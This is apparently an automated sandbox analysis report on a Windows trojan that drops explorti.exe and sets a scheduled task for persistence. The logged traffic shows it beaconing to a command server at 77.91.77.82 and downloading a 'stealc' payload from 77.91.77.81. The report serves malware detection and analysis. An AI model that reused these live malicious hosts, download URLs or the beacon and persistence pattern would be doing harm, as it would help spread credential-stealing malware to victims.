Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Source: Joe Sandbox View	IP Address: 77.91.77.81 77.91.77.81
Source: Joe Sandbox View	IP Address: 77.91.77.82 77.91.77.82

Source: Joe Sandbox View

ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU

Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 11_2_0016BD30 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

11_2_0016BD30

Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81

Source: unknown

HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/?h
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe0673b5d7q
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe1000006001
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe50673b5d76
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe50673b5ddG
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exeM
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exeS
Source: explorti.exe, 0000000B.00000003.3440649233.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000B.00000002.3747242277.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php9Z
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php?
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpJ
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpT
Source: explorti.exe, 0000000B.00000003.3441848622.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000B.00000003.3440649233.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phprb
Source: explorti.exe, 0000000B.00000002.3747242277.0000000000D4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phps
Source: random[1].exe.11.dr	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: random[1].exe.11.dr	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: random[1].exe.11.dr	String found in binary or memory: http://pki-ocsp.symauth.com0

System Summary

PE file contains section with special chars

Source: 8vZMEr8sm9.exe	Static PE information: section name:
Source: 8vZMEr8sm9.exe	Static PE information: section name: .idata
Source: 8vZMEr8sm9.exe	Static PE information: section name:
Source: explorti.exe.4.dr	Static PE information: section name:
Source: explorti.exe.4.dr	Static PE information: section name: .idata
Source: explorti.exe.4.dr	Static PE information: section name:

PE file has nameless sections

Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 11_2_0016E410	11_2_0016E410
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 11_2_001A3048	11_2_001A3048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 11_2_00164CD0	11_2_00164CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 11_2_00197D63	11_2_00197D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 11_2_001A763B	11_2_001A763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 11_2_00164AD0	11_2_00164AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 11_2_001A6EE9	11_2_001A6EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 11_2_001A8700	11_2_001A8700
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 11_2_001A775B	11_2_001A775B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 11_2_001A2BB0	11_2_001A2BB0

Source: 8vZMEr8sm9.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 8vZMEr8sm9.exe	Static PE information: Section: ZLIB complexity 0.9983136953551912
Source: 8vZMEr8sm9.exe	Static PE information: Section: xdymjpys ZLIB complexity 0.9945768880591525
Source: explorti.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9983136953551912
Source: explorti.exe.4.dr	Static PE information: Section: xdymjpys ZLIB complexity 0.9945768880591525
Source: random[1].exe.11.dr	Static PE information: Section: ZLIB complexity 0.9996665396341463
Source: random[1].exe.11.dr	Static PE information: Section: ZLIB complexity 0.9935302734375
Source: random[1].exe.11.dr	Static PE information: Section: ZLIB complexity 0.98974609375

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/4@0/2

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe

File created: C:\Users\user~1\AppData\Local\Temp\ad40971b6b

Jump to behavior

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 8vZMEr8sm9.exe	ReversingLabs: Detection: 42%
Source: 8vZMEr8sm9.exe	Virustotal: Detection: 41%

Source: 8vZMEr8sm9.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe

File read: C:\Users\user\Desktop\8vZMEr8sm9.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\8vZMEr8sm9.exe "C:\Users\user\Desktop\8vZMEr8sm9.exe"
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: iertutil.dll	Jump to behavior
